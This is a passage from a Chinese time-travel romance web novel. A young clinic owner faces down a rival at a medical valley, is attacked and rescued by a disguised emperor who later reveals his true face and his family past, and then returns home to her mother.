“自己心思恶毒,动了不该有的歪主意,阴谋暗算不成,便伪造罪证污人清白,白延琅,你用这招,害过多少人?为什么一场多人见证的对局,你输了后就怀疑赢的人用了手段?你这样想,是不是因为自己经常这样做?”
“你怀疑我没有真本事,是不是你自己虚度数十载光阴,只长坏心没长医术,自己空有一个学医十载的名头却没有真本事?你怀疑我创新不出工具,是不是你自己从没能更新创造过新医方,只能沿用前人现成的?你怀疑我与岐黄谷使者勾结,是不是你自己勾结了什么东西,用你的小人之心,来揣度别人?”
苏颜妍端正坐着,口中不停,句句戳爆白延琅痛点。
“这位姑娘,你说你不曾与谷中使者暗中勾结,可有证据?”旁观的宋使君见白延琅气得说不出话,念在他与林掌柜的关系,不由插口问道。
苏颜妍反问道:“这位使君,我怀疑你与白延琅暗中勾结,故意在此逼迫我,想要谋夺我家医馆。当着这里所有人的面,请问你是否属实?”
宋使君急忙道:“绝无此事。”
“可有证据?”苏颜妍逼问。
宋使君哑口无言。
“你一直在胡搅蛮缠,我在回春堂数十年,你何曾习过医?”
“你跟着我父亲学医数十年,时时刻刻盯着我一个小姑娘学了什么没学什么,怪不得自己没什么本事。”
“好好好,你就坚持你救治了病患,还发明了新工具对吧?”
“这是事实,需要我坚持么?倒是你,趴在我家门板缝里盯着看我救没救人、发明没发明工具吗?你是变态吗?”
“我虽然没有亲眼看到,也是合理推测。”
“你有这本事,去街头算命去吧,还学什么医术啊。各位各位,你们可都亲自看到听到了,他自己承认是推测的。把推测拿出来污蔑恩人的女儿,这种人品都没有的人渣败类,岐黄谷可千万别沾上啊。”
苏颜妍火力全开,攻击力拉满,直接把众人干沉默。
岐黄谷规定谷中众人不要沾染世俗争斗,正是因为医者容易陷入争斗中,这世间,公说公有理婆说婆有理的事,多了去了。医者治病救人,判定是非对错那是衙门的事情。
淮山长老道:“二位都不是谷中人,我们并不清楚前因后果。既然与岐黄谷无关,就不要在此处争执了。”
白延琅着急道:“长老,我们虽不是谷中人,但万分向往歆慕谷中前辈。再说确实有岐黄谷使者涉入其中,昨天和她一起来的那个男人就是啊,您可得为我做主。”
淮山长老叹气道:“白郎君,昨日与这位姑娘一起入谷的男子,并非我岐黄谷中人。恕我们不能插手二位之间的争议了。”
“怎么可能?他自己承认是谷中人的!”白延琅嚷道。
苏颜妍在一旁扇风,道:“哎呀,你又什么时候听他承认自己是谷中人啦?难不成又是''合理推测''?”
李真和李善互相看了一眼,被她阴阳怪气的话逗得忍俊不禁。
“我不服!定是岐黄谷包庇自己人!那些器具,那些从未出现过的工具,是不是你们研制出来的?只有你们岐黄谷的人有这样的本事!”白延琅口不择言,恨恨地看着在场的人,连连叫嚷。
宋使君失望地摇头道:“白郎君,在下从未在谷中看到过那些工具。谷中发明新用具,都是有存档的,你确实是误会这位姑娘了。”
李善好奇问苏颜妍:“苏姑娘,他说的那些工具,我们刚刚看过了图纸,真的很新奇。你能给我们介绍一下吗?”
苏颜妍点头道:“实物在医馆,等你们去到医馆,我一一给你们详细说一说。”
她瞥了白延琅一眼,继续补刀:“好叫各位知道,我没有与这位小人共同学习,是我天赋异禀,另有专长。我擅长口腔医学,研究的也是这方面的知识,与传统医学不太重合。那些器具,用于外科治疗时使用,确实是我亲手绘图,由我朋友帮忙打造。这次前来谷中,我真诚邀请谷中良医坐诊,也是考虑到我本人专精的方向与普通大夫不一样。希望咱们可以博采众长、互相学习、共同进步、济世救人。”
一席话听得众人连
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连点头,李真、李善俯首行礼:“敢不从命。”
唯有白延琅失魂落魄,宛若落水狗瑟缩在一旁。
宋使君道:“这位姑娘深明大义,有医者仁心。你继承父亲医馆,年纪轻轻,又有如此觉悟,何不来岐黄谷深入学习一番?”
他本来就是出谷寻找合适人才的,一时不查,被白延琅蒙蔽,没能带回京城人选。现在对苏颜妍十分欣赏,想也不想就邀请她留下。
苏颜妍见他态度诚恳,知道他是性情中人,便起身回礼拒绝道:“感谢您对我的认可,我对岐黄谷很是向往,只是现在我父亲下落不明,家中母亲离不开我。待我将医馆并入正轨,让我四邻乡亲远离病痛,一定再来谷中与各位前辈共同研学。”
宋使君与淮山长老欣慰颔首,很是欢喜。
就在众人其乐融融之际,被忽视的白延琅猛然暴起,神色狰狞,伸长手臂,手如抓钩,扑向苏颜妍。
他今日先是以为岐黄谷能助他夺回医馆,他可以凭借济世堂林掌柜的人脉留在谷中,深入学习更多的绝技,出谷成为全国闻名的大夫,入职太医院,给皇亲国戚世家大族看诊。
他跟随宋使君进入谷中,一路畅想荣华富贵、美妾娇妻、财源滚滚来,结果却大失所望,被苏颜妍踩入地底。
医馆是得不到的,留在谷中更是没有的。
甚至他们宁可要一个无知的内宅女子,也不邀请满腹才华的他,大喜大悲刺激下,白延琅彻底破防。
他要杀了这个数次羞辱他的女人!
苏颜妍一直警惕着白延琅,看到他突然扑过来,瞬间后退,躲到胡椅后与他拉开距离。
李善惊叫道:“苏姑娘小心——”
李真反手将她护至身后,紧张瞪着白延琅,从袖中摸出金针。
淮山长老怒喝:“竖子尔敢!”抄起手杖就要上前,被宋使君阻拦。
宋使君生怕淮山长老受伤,不敢让他冲过去,硬生生挨了淮山长老几杖。他喊到:“去喊护卫!长老你先离开,我去帮苏姑娘!”
房内乱做一团。
苏颜妍边退边躲,看到桌子上的花瓶瓦罐,抓起就砸。
白延琅已然是行尸走肉般,完全无视伤痛,只一味猛冲猛撞,很快逼近。他一脚踹开推倒的桌子,双手钳拧扼住苏颜妍!
“啊——”苏颜妍眼前一黑,后背一阵剧痛,撞倒博古架。
她腿脚用力,不住踢踹挣扎,只觉得颈间那双手越勒越紧。
危急关头,有人携着风雷之势,扣住白延琅的手腕,一扭一推,将苏颜妍救出,护在怀中。
正是萧景琮!
白延琅手臂瞬间变形,痛呼一声,踉跄两步,转身就要逃走。
萧景琮双手抱紧苏颜妍,脚下蓄力,一脚当胸,狠狠踢向白延琅。
一声巨响,白延琅倒飞出去,撞碎桌椅,口吐鲜血,晕死过去。
苏颜妍蜷缩在萧景琮胸前,眼泪止不住落下。
她又痛又怕又担心,双手攥着他的衣襟,哽咽道:“仲景,先停下。”
9. 狗狗
苏颜妍蜷缩在萧景琮怀中,被他紧紧拥抱。
他的胸膛又宽厚又温暖,带着沉沉檀木香,热烈的心跳咚咚响在耳边,一声一声,驱散她的惊和痛。
她剧烈挣扎猛然获救,肌肉脱力,冷汗黏湿鬓发衣衫,她开始觉得冷。
萧景琮感受到她不自觉地瑟缩颤抖,扯下外袍将她兜头包裹,密密围好。他又是心痛又是怜惜,低声问道:“苏姑娘,你还好吗?对不起,我不应该离开你,不要怕,我在这里。”
苏颜妍从没经受过这样危险的冲突,她在平和安全的社会中成长,这种暴起伤人的情形,那是电视里视频里才见过的。
她一直以为危险离她很远很远。
她的思维一直局限在现代关系里,争家产,打官司,法制社会文明交涉那一套规则。
没曾想细小冲突真的能引发人身伤害。
那一瞬间,她真切感受到了杀意与恶意。
浓稠如墨。
为什么白延琅敢燃起贪婪之火?因为她是女子,无父无兄,伤她害她成本太低了。
这个时代没有保护她人身安全的警察叔叔,群狼环伺,虎视眈眈。
都等着将她拆解吞吃,连皮带骨。
好可怕。
这一刻她太想家了。
泪水不受控制,潸然而下。
后怕恐慌一股脑涌上心头,她想回家,想从野蛮森林回到人类文明。
她又多么绝望,她被困在这个时代,没有回家的车票,没有回家的路程,没有回家的目的地。
这场穿越不光是给她带来一场奇妙的冒险,这趟冒险旅程更是跌宕惊险,超乎想象。
这个残酷的时代如黑夜里的兽,张开狰狞的血口。
它会吃人。
而她是一粒被吹散的蒲公英种子,随着风飘荡过来,无法抗拒时代洪流,只能牢牢抓住地底的一点泥土,努力生根发芽成长。
她需要水,需要阳光,需要汲取温暖和热,不然她长不大的。
这个时代谁又是她的泥土,谁又是她的阳光,谁又是她的温暖和热呢?
“仲景…我想回家了…”苏颜妍喃喃道。
萧景琮心都要碎了。
他无措地抱紧她,手抚摸着她的后背,试图给她带来支撑与力量。
碎掉的心每一片都在努力发光,生长发芽开花,滋生怜惜,酝酿爱意。
他悔恨,自己为什么放心把她独自一人留下?
为什么她遭受危险的时刻偏偏他不在她身边?
明明是想要嵌入骨肉不忍分离,只一个疏忽,意外降临。
他就应该暗地里直接帮她扫清所有危险萌芽,何必等着她开口再处理。
“大夫呢?对了,这里是岐黄谷,这里医师最多,我们让大夫看一看,到底哪里有受伤?怎么一直在颤抖?”萧景琮暴怒且自责,脑中一片狂乱空白。
他抱紧苏颜妍安慰她道:“如果这里的大夫看不明白,我们马上回京城。我找京城最好的太医来看诊。你不要害怕,不要回想,后面所有事情我都会帮你处理。”
“安排人寻找你父亲,照顾你母亲。你的医馆会有大夫每天坐诊,我让太医院检查人去。”
“欺负你的人,每一个我都不会放过。我让他们下狱,砍头,诛他们九族!”
苏颜妍听他越说越离谱,一股子气充盈在胸中,瞬间有了力气。她忍不住给了他几记猫猫拳。
萧景琮见她精神一些,放缓了话语:“苏姑娘你不要哭了,你再哭我的心也痛,头也痛,牙也痛……大夫!快来人看看苏姑娘——”
从白延琅暴起伤人,到萧景琮破门而入英雄救美,不过一刻钟。
淮山长老的房舍已然塌了一半。
桌椅瓶罐博古架,能摔的全摔了,能碎的全碎了。
半扇门挂在框上,如同破败的残骸。
被踢飞的白延琅没了半条命,仍在昏迷,被谷中护卫拖走。
听闻淮山长老出事的谷中众医者能来的全数到场,一群人早想上前,却被萧景琮一身暴怒杀气震慑,动弹不得。
待到萧景琮想起找大夫,有长者细细把脉,对萧景琮说道:“这位姑娘没有内伤,只胸中淤积了一口气,现下也消散了。待服用一剂安神汤,定会恢复精神。至于外伤,谷中有特效伤药,可活血化瘀。”
李善站出来,对众人行礼说道:“我与苏姑娘相熟,同为女子,我来帮她罢。”
话毕,她靠近苏颜妍温声道:“苏姑娘,咱们回休息处,我帮你上药包扎,好不好?你若害怕,让这位公子一起,保证让你安全无忧。”
苏颜妍方才抱着萧景琮一阵哭,紧绷的神经已经开始放松。只是哭的太久,一时半会儿停不下来。
她轻轻戳了戳萧景琮胸口,示意他照做。
萧景琮三魂七魄被小拳头锤回身体,一手环肩一手搂腿,如同捧着宝珠的恶龙,气势汹汹,回到李善住处。
等李善帮苏颜妍仔细涂好伤药,萧景琮已经守着送来的安神汤,殷勤小意,眼也不眨地盯着她,等着她喝。
中药放在哪个朝代,都是扑面而来的苦涩味道。
苏颜妍身体在抗拒,她紧闭双眼,不肯睁开,希望这是幻觉。
萧景琮看着好笑又着急,哄她道:“安神汤只是闻着味难闻,并不会苦得咽不下。你先试着喝一口,实在不行,我让他们开药丸。”
李善劝道:“汤剂比药丸见效快,效果好。能喝还是尽快趁热饮用吧。”
萧景琮却道:“不必勉强。若你不喜欢,让他们研制见效快效果好的药丸就是了。你的想法最重要。”
苏颜妍听着他真诚体贴的话,心中一软,睁开眼睛。
她望进了一潭清透幽深的湖水中,波光粼粼,潋滟多情。
里面流淌着殷切的关心,专注且执着,滋润灵魂的苗木。
“喝吧,喝完好好睡一觉,醒来后就会发现,什么苦痛都不会存在。我守着你,这次我哪里也不去。”萧景琮的话变成了风,变成了乐符,一下下拂过心田,响在耳边。
苏颜妍睡着了。
她纤长的睫毛浓密,在眼下投出淡淡的阴影。小巧的鼻翼,绵长的呼吸,舒缓稳定。嫣红的嘴巴,泛着淡淡血色,如一颗饱满甜美的樱桃。
长长的发丝,散落在枕边,萧景琮轻轻拾起,捋顺,安放在她耳后。
他一刻都不想移开自己的眼睛,描摹着她每一寸的容颜。他想起兄长曾经与他说过的话,多年的芥蒂如雪消融。
他的兄长曾经是他最敬重的人,却爱上一个薄情的女人。
那个女人欺骗他伤害他,他依旧如蛾扑火,义无反顾抛下一切功名利禄,与她浪迹天涯。
他为兄长不平,痛恨那位聪慧冷静爱恨分明的女子。他兄长却说:“总有一天,你会懂得那种感受。为了她,可以不顾身份,不要权柄。只求她一生平安康泰,长半左右。”
“见到她,你就找到了宿命。你的心会因她而跳动,你的人会因她变得不同。”
他想起自己早时抗拒的心情,看着苏颜妍恬静苍白的脸,眸色一点一点晦暗。
厅堂寂静,只有思绪沸腾,百转千回。
他有了想一生一世携手共度的人,他喜欢苏颜妍,为她牵肠挂肚,为她魂牵梦萦。
奈何此刻,他不是能随心所欲、时时跟随她陪伴的仲景。
他乔装出宫已近月半,宫中心腹多次来信催促,虽有暗卫随行,天子在外,确实是危机重重。
安南王反叛势力仍在暗中活跃,他易容的这张脸,曾经潜入过安南王府,长期出现在人前,很容易暴露。
更何况,苏颜妍并不知晓他的真实身份。她只是医者仁心,救助了一个病患。这个病患用的,甚至是一张假面。
他要如何告诉她,让她接受她?
苏颜妍静静睡着,她梦里没有皱成苦瓜脸的萧景琮,只有一只热情洋溢、不停摆尾的大狗狗。它蓬松干净的毛发带着好闻的檀木香,眼睛亮亮,围着她转来转去。
梦中的她,被巨大的毛绒绒填满,又松软又温暖。危险与恐惧被驱散,安全感如光降临,晒的她懒洋洋的,瘫软成一坨猫饼,和毛绒绒的大狗狗融贴在一起。
大狗狗一下又一下舔她,酥酥的,痒痒的。
她懒懒的不想躲开,只拖长了声音撒娇一样喊道:“仲景——”
然后,梦中的世界变成混沌的一团,她只觉得愉快与轻松,沉入梦中的梦中。
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等她再次从漫长的梦之国度重返人间,耳边是得得的马蹄声。
她睁开眼睛,发现自己陷在车厢柔软的被褥里,像只掉进抱枕堆的仓鼠。
萧景琮见她醒来,满意地看着她恢复红润光泽的脸,说道:“你现在一切都好,正在回家的路上。我们出来时,与你母亲约定三日归,看你睡的香甜,就没再叫醒你。临走时大夫复诊,说你睡醒后安然无恙,你感觉还好吗?”
苏颜妍点头,确实觉得自己现在精力充沛,神智清醒,情绪饱满,像饮足水分的种子,呆在泥中沐浴阳光,暖洋洋的浑身都是力量。
她看着萧景琮,呆呆的,只觉得他这会儿,闪着布灵布灵的光,神邸一样。
声音还是那个声音,脸怎么完全不同,变得、变得这么俊美,整容了这是?哪里找的模板,顶级古装帅哥啊天了噜!
“你…你怎么这个样子!化妆了吗?!天啊仲景,你这是怎么回事?”苏颜妍直直弹坐起,指着萧景琮的脸,惊得眼圆圆,嘴大大,瞳孔地震。
萧景琮把自己的脸慢慢凑过去,神色无辜,轻描淡写道:“哦,这张脸啊,是我真实的样子,应该还能入目。没吓到你吧?”
美色在眼前放大,放大…毫无瑕疵,就全方位无死角硬帅!苏颜妍无力吐槽:他管这种程度的脸叫“还能入目”?凡尔赛吗???
“那你之前……?”
萧景琮拉着她的手,让它贴在自己脸上。他专注地看着她,道:“是□□,我需要伪装,查一些事情。不是故意骗你,你不会生气吧?”
萧景琮顿了顿,修正坐姿,端正仪容,垂下眼,道:“这件事说来话长……”
苏颜妍不满地握拳捶桌抗议:“不许转移话题,哪有这样挑起人好奇心又不给人解惑的!我告诉你仲景,这样很容易被套麻袋的。”
“没有人能套我麻袋。”萧景琮不抬头,快快地反驳。
“这不是重点!对了,你名字不会也是假的吧?”苏颜妍挠头。
“……”萧景琮沉默,抬眼觑了她一眼,无声默认。
苏颜妍炸毛:“还真是假的啊?你到底是什么身份,出门在外居然用假名。难道是什么魔道教主?神秘世家?”
萧景琮说不出口,开始顾左右而言他:“我在家排行第二,名字里有个景字,所以才化名仲景。也不算是假名吧?这次带你出来,出了点意外,当时我特别害怕,你都没有看到我真实的模样,我不甘心。就想让你知道我真正的样子。”
“哎呀,意外就不用再提了。我现在只想听你说你的故事啊。”苏颜妍道。
“你不害怕了?”萧景琮问。
苏颜妍点头:“现在完全没放在心上了。快说快说,不许转移话题。”
“我、我没什么故事…”萧景琮化身锯嘴葫芦。
“那我可逼问了——”苏颜妍盯着他眼睛,徐徐问道:“你排第二,是有个哥哥?”
“是有个兄长。”
“看你言谈举止,应是大家族出来的。长子一般默认继承家业,你家是你大哥当家?”
“……”本来是这样的,就是出了点意外。萧景琮摇了摇头。
苏颜妍却并没有深究,马上换了问题:“那你成亲了没有?”
这女人怎么什么都能问出口。萧景琮继续摇头道:“还没有。”
“今年多大了?以你这张脸,不应该啊。”苏颜妍默默擦了擦口水,嘀咕道。
“家里发生了一些事情,暂时没有成亲的打算。”他微微抬起那张被多次赞叹的脸。
“那你亲人不会催婚吗?”苏颜妍好奇。
萧景琮道:“现在家里的事,我说了算。”他现在有这个自由。
这个牛哄哄的感觉好像自信狗狗。
对着人甩动漂亮的尾巴,毛发洁白干净,眨着清澈眼睛盯着它喜欢的人。
想揪一揪他的脸。
把他的俊脸捏成棉团,手感肯定很不错。
“对了,李真、李善两人呢?”苏颜妍惊叫。
萧景琮扶了她一下,道:“约好去医馆的所有事宜了。多半明天就能到。”
“吓我一跳,还以为忘记最初的目标了。”她赞赏他:“做得好哦!”
10. 旧事
谷中遇袭是意外中的意外,苏颜妍醒来倒是不再有惊慌惧怕的心悸,仲景陪在身边,很安心。
她此行目的就是为家中医馆寻找坐诊医生,如果因为意外,李真、李善不来回春堂,她可真是要怄死了。
昨天惊惧交织,她还真的没想到今日回京的事,耽搁时间苏夫人肯定会担心,幸亏有仲景帮忙。
她问萧景琮:“你怎么和他们说的?他们没跟我们一起走,什么时候来京城?”
萧景琮眼神闪烁,他昨天在岐黄谷震怒,随行的暗卫直接控场,谷中人员有一个算一个,全被控制了。考虑到此次是乔装出宫不便透露真实身份,暗卫首领与谷中长老们交涉时,就模糊了他们的身份。
岐黄谷那群老人精,见多识广,个个心眼转得飞快,嘴上不说,心底有数。他们沉默服从安排,不等他开口,主动安排李真、李善出谷,还贴心定下了契书。
李真和李善从长老们那里得了提点,对待萧景琮更加恭谨,尽心照顾苏颜妍,医药食水,无不精细。
萧景琮终究按住了火气。
他们是苏颜妍需要的人,他回京后必须得回宫,岐黄谷的人忌惮他的身份,对待苏颜妍必定小心妥帖。苏颜妍挂心回春堂,有了岐黄谷的助力,他离开的时日,也不必时时担忧她。
思绪飞转,萧景琮面色如常,回答:“他们与你本就谈妥,有意来京城坐诊,哪里用得着我多言。我带你离开时,他们倒是说要整理携带一些药材,谷中长老会安排人送他们进京。不会耽搁太久,我们今日回,他们明日到。”
苏颜妍欢喜道:“他们岐黄谷还真好,就业保障很到位,我还想着路上车马得医馆提供,这下不用再操心啦。我对出行这块儿真不太熟,是淮山长老给他们安排的吗?”
萧景琮应道:“是,你在淮山那里受了惊吓,那老头很是愧疚,给了你不少赔礼。”
才怪!岐黄谷众人被控制,那老头倔得很,暴跳如雷不肯低头。他年轻时当过御医,猜出萧景琮的身份,他早年的形象与现在大相径庭,那老头做出一副痛心疾首的样子,梗着脖子搬出宫廷旧事,句句声声用礼法压他。
可惜他已不是当年怯懦纯善的太子殿下,而是锋利冷酷的新帝,不吃他那套旧黄历了。
他只给那老头一句话:要么闭嘴赔罪听安排,要么就去追随他的先帝。
那老头眼眶都红了,最后神色颓败,抖着身子匍匐下跪,他也没再追究谷中众人的罪责。
除了白延琅。
白延琅被他踢得晕死过去,萧景琮挂心苏颜妍,半点没把注意力放在一个必死的人身上。
等他安置好苏颜妍,前去处理白延琅的暗卫却来复命:谷中寻遍,人不见了。
与白延琅一同入谷的宋使君,一副天塌了的前来请罪:“之前不知贵人身份,念在京城济世堂林掌柜的面上,将那贼人送在医谷外围客舍。只是他当众伤人,法理不容,岐黄谷中绝没有派人协助他逃离,请贵人明鉴。”
他为人乖觉圆滑,瞧着萧景琮一脸不豫,立刻恭声道:“此事是岐黄谷处理不当,那贼人是蒙骗我一同回谷,更是胆大包天伤了苏姑娘,我愿奉上珍藏的奇珍异草、济世良方,赔偿苏姑娘。日后苏姑娘如有需要,我岐黄谷当仁不让,必定如臂使指。”
淮山低头,宋使君赔罪,岐黄谷尽数归附,成为他暗中支撑苏颜妍的底牌。区区白延琅,料他也掀不起什么风浪。
萧景琮想着昨日的风波余韵,问苏颜妍道:“想不想知道他们给了你什么东西?”
苏颜妍摇头:“这事真不怪他们,不妨碍我们合作就好。谢谢你一直帮我,认识你,我太幸运了。”
她看着萧景琮俊脸上一脸不认同,心下好笑:“我知道你都是因为我才生他们的气,他们送了就送了,我才不会因为他们伤了你的心意呢。比起别人,我更在乎你的感受。是不是很惊讶?嘿嘿,孰近孰远我还是分得清的,君子帮理不帮亲,我呢,就是帮亲不帮理。”
萧景琮被逗笑:“果然有一张佞臣的唇舌。”怪会哄人的。
苏颜妍道:“那我们现在是不是天下第一好?”
“你想干什么?”怎么感觉毛毛的。
“那我们关系都这么好了,能告诉我易容是怎么回事,你自己化妆吗?”神奇的手艺,真实的伪装大佬黄金技耶!如果能跟着学个一招半式的,那也太酷炫了!
她热切地盯着他,像一只看到鸽子的狸猫,直直的,动也不动,满脸都写着期待。
萧景琮:……
他感觉身上犹如爬过几只毛毛虫,痒痒的,很是不自在地向后移了半寸,道:“我…不是我会易容,只是有人留下的人皮面具,戴上就是面具那张脸。这个不用化妆。”
“哦?那你认识懂易容的大佬啊?关系怎么样?介绍给我认识认识?”苏颜妍冲他挤眉弄眼,很是谄媚。
萧景琮气息一滞,被她问的,不由自主想起旧时旧事。
那已经是三年前发生的事情了,现在想来,依旧恍如昨日。
“我家中,资产颇丰,父亲子嗣不丰,唯我一人。我幼时,性情怯懦,母亲早逝,只有我义兄陪着我……”
先帝萧元宏,冷酷重权,心思都用在惮压皇亲朝臣上,并不好女色。先皇后恰恰是朵需要爱呵护的花,嫁入皇家,生下太子萧景琮后,缠绵病榻,怏怏离世。年幼失母的小太子,并没有获得父亲的呵护,在深潭一般的宫中,孤独寂寞的成长。
他幼时,陪伴他的,除了谨小慎微的宫人,就是古板刚直的先生,只有义兄萧晟玹进宫时,他才有一位真心陪他说话、玩耍的亲人。
可惜皇家向来容不下真情,先皇后是这样,义兄也是这样。
安南王府谋反,直接牵扯皇权之争,他这个太子懦弱无用,先帝便拿捏恩情驱使义兄对抗藩王。磨刀石从古至今几人能得善终?义兄重情重义,手段智慧样样不缺,他自然能看透真情看中或假意利用。
义兄的意中人也能。
那位奇女子直接找上他,问:“萧晟玹为你出生入死,挡下多少血雨腥风,他心中有情义,甘心当你父亲手中剑。你呢?对他可有半分愧疚?你为何不让他离开这滩泥淖,去为他自己活一次?”
他心中如何能不愧疚,可他困在宫中,唯一能抓紧的也只有兄长。兄长是鹰是虎,而曾经的他,是捆住兄长的枷锁牢笼。兄长的眼光真好,他的意中人替他斩断了绳索铁链,给了他自由。
萧景琮深深看着苏颜妍,心想:苏姑娘通事晓礼,聪敏仁善,自是千好万好。那袁因虽精通易容,性情却万万比不上苏姑娘的。莫说她现在与兄长一同离京南下,就算真的在京中,也不能让她教坏了苏姑娘。
他对苏颜妍道:“……精通易容的是我兄长的意中人,他们两人已经离京,现在可教不了你。”
苏颜妍听说大佬不在,倒也并不失望,她听萧景琮说自己的家事,对她的小伙伴十分同情。
天啊,还以为她穿越的这位医馆独女已经够可怜,原来还有比她更悲催的。同样是争家产,她是独女,多少有心理准备,没想到古代连独生子也是被贪婪之辈觊觎家产的。这个朝廷,就应该发展制定保护个人财产的律法啊。看看他们这些打独立战争的可怜人,孤立无援,多么无助,唉。
她想到动情处,眼中泛起点点泪光,婆娑地看着萧景琮,道:“怪不得你帮我,咱们真是同病相怜啊。那现在你兄长也离开,你自己还单独跑出来,会不会有危险?咱们这里有没有镖局之类的,雇点护卫也行啊。”
她的小伙伴也不知道有多少家业,现代法治健全,富豪被绑架都时有发生呢。放到这个朝代,没了天网和法治护盾,小伙伴真是胆大。
萧景琮:……
他没跟上苏颜妍拐了八百个弯的脑回路,继续说道:“兄长离开,我确实没有能信任的人手,只好自己出来查探。争我家产的人已经伏法,剩下的都是小喽啰,倒是称不上危险。你担心我啊?”
苏颜
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妍点头,他可是和她有过命交情,她超担心他的安危哒。
她代入到自己身上,要是她遇到了麻烦事,萧景琮不曾出现,只能一个人撑着,就觉得难过:“这种时候,你一个人出来,都没有人关心你吗?好过分。我要是早一些认识你就好了。有我陪着你,就不会特别难过了。”
萧景琮心里一酸,苏颜妍的话,像暴雨,滂沱在他久旱枯竭的心田。
他从小就孤单,父母缘浅,关心爱护,他求而不得。他活到现在,上一个让他感受到关爱的,是兄长偷藏带进宫中给他吃的糕饼,至今仍让他回味。
兄长离开,他并不怨他。兄长已经做得足够好,也该有自己的生活。只是心中,那个没长大的孩童,依旧殷殷期待那份带着体温的糕饼,等了许久许久,等到心中覆冰。
他知道,兄长心中,有更重要的人了。那个人,不是他。
“我一个人时,也常常想,如果当时不放兄长离开,兄长心中是不是,会像小时候那样记挂我。”萧景琮喃喃道。
他真的这样想过。
苏颜妍敲了他一下,咚的一声,萧景琮一张俊脸顿时龇牙咧嘴:“打我干嘛?”
苏颜妍叹气,伸出手帮他揉揉痛处:“你只是太寂寞了。你兄长有自己心爱的人,去过自己的日子,这是正常的。你以后也会有自己心爱的人,会去过自己想要的生活。人和人的羁绊是有时限的,不可以强留。你说过,你兄长已经为你做了很多,你也希望他过得好。仲景,你足够坚强,你是非常非常好的人。”
萧景琮闷闷地说道:“兄长就是被那个女人骗走了。他明明小时候答应过我,到哪里都会记得回来看我,如果离开的话,会想办法带上我。”
“那个时候你几岁?”苏颜妍翻了个白眼。
“……三岁。”萧景琮不开心:“哄小孩也要讲诚信,做不到干嘛要骗我。”
“好了,快醒来吧,三岁的小朋友。你现在长大了,不是年幼时,弱小、无助,只能等待兄长来寻你、帮你的孩童了。你现在变得高大、强壮,你足够有力气,都能帮助我,远离困境,对抗危险。你现在,是一个超级英雄。”
萧景琮勾起嘴角,仿佛心中真有一个困在宫墙内哭泣的幼童,听到了赞美,擦干眼泪,开始长大,长成现在的样子,穿戴了坚硬的盔甲。
他踢碎挡在面前的围墙,闯出宫去,骑马驰骋,成了一个英雄。
他路过苏家,赶跑了龇牙咆哮的恶犬,救了眼前的姑娘。
姑娘笑盈盈地拜谢,说道:“救命之恩,当以身相许,公子,你可不要负我!”
他自是不胜欢喜,执着姑娘的手,许诺永不相负,此生不渝。
然后……
“咚”!苏颜妍又抬手敲了他头一下。
“干嘛又敲我!”萧景琮捂着头上的包,瞪着眼前可恨又可爱的女子。
“笑得蠢兮兮,让你清醒点。都这么大了,居然吃自己嫂子的醋,羞不羞!下次见到你兄长,先要感谢他之前对你的照顾,然后祝福他和他爱人,恩爱长久,鸾凤和鸣。晓得不?”
这家伙,兄长都有老婆了,还一心当电灯泡,怪不得大佬拉着爱人溜走了。换她有这种瓜弟弟,她也溜。
萧景琮咬牙,看到她滴溜溜转的大眼睛,神采飞扬的,又生不起气来,只好闷闷应道:“好。”
车厢外,马儿打了个响鼻,咴咴叫出声,快到京城了。
萧景琮涌起一阵冲动,真想就这样带着苏颜妍,什么都不管,直接回宫中。
可他深知,苏颜妍不会开心。她现在满脑子都是发展她家医馆,她就是根木头!
再不舍,他也必须得离开,去尽自己的职,扫清障碍,铲除危险的火苗。他终于有动力,去争去抢,去执掌权柄,只为给自己心爱的人,更安逸的环境。
“我得先走了。”他重新戴好面具,身体前倾,靠向苏颜妍,深深注视她澄亮的眼睛。
“我还会回来的,你多保重。”
11. 阴云
萧景琮离开,把车马留给了苏颜妍。车夫静默不语,马儿悠悠哉哉,拉着车厢汇入人流,喧哗声渐渐大了起来,京城到了。
苏颜妍掀开一道缝,顺着车窗缝隙往外看去:古朴厚重的城墙,散发着历经风吹雨打的沉肃气息,巨大的石头一块一块垒砌,排成长队等待入城的人群,如同蝼蚁。
佩服古人,能凭借巧思与人力,修建出如此恢弘的建筑物。
人的智慧,似乎连时光都无法摧折。
她以前从没想过,这么早就有岐黄谷这种把医生行业顶尖人才汇聚一起,共同钻研、共同进步的组织。
还以为好医生都在皇宫里当御医呢。
她出门一趟,对这个朝代的了解更加深入,也逐渐摆脱了很多从电视剧、小说里,片面且刻板的印象影响。
这是活生生的真实世界,这里的人不是游戏NPC,她和这里的人没什么不同。她没有保护盾,也没有三头六臂,不会多出半条命。大家同样都有喜怒哀乐,会算计,会帮扶,会产生好感与厌恶,会有爱恨。
她想好好活下去,让自己的人生有意义。
途经市集,她请车夫暂停,下去逛了一会儿,体验了一把热闹的古风购物。她记得苏夫人说过喜欢陈记的八珍糕,这次也给她打包了一份。还有小桃,总来帮她搭把手干活,这次给她买她心心念念的掐丝环钗。
苏颜妍大包小包进了家门。
“娘——”她喊了一声,苏夫人屋里很快传出声响,她脚下生风,小碎步雨点似的,轻快甩下一串串脚印。
“妍娘回来了,快让娘看看,瘦了——”苏夫人今日一身露褐对襟袍服,沉香掐腰,整个人气色看上去红润了不少。苏颜妍一进来,她便迎上去,上下打量,满是疼惜地说道:“出去这么久,身体累不累?娘在家一点事没有,你先好好休息,歇过来再来看我,自家人哪用这样讲究。”
“我怕娘担心呀,先过来让娘看看。”苏颜妍转了一圈,裙摆甩开,绽放一朵鲜妍的花。
她提起八珍糕献宝:“娘,我回来时正路过陈记,想着你最喜欢吃他家的八珍糕,快尝尝是不是那个味儿。他们家生意可真好,排了那~么长的队,都等着买糕点呢。老板看到我来买,还多送给咱们一块,让我给您问声好呢。”
苏夫人眉开眼笑,眼角的皱纹都向上扬起,就着她的手咬了一口,连连点头:“又香又酥,好吃,好吃。好孩子,你天天要忙着医馆的事,心里还时时记着我。娘这刻,真是死了也甘愿。”
苏颜妍把头往她面前一杵,晃来晃去:“才不会呢,娘要一直陪着我,咱们好日子还长着呢。”
母女俩在屋里,把分离三日存的私话细细诉说,听到不日将有两位岐黄谷的良医来回春堂坐诊,苏夫人热泪盈眶。自丈夫失踪女儿出面争得医馆,她始终提着一颗心,几乎要愁白了头发。女子当家,哪有容易的?可恨她与丈夫亲缘浅薄,在京城无依无靠,现下竟要妍娘费力去维系生计。幸亏岐黄谷医者仁心,他们来到回春堂,妍娘算是有了靠山。
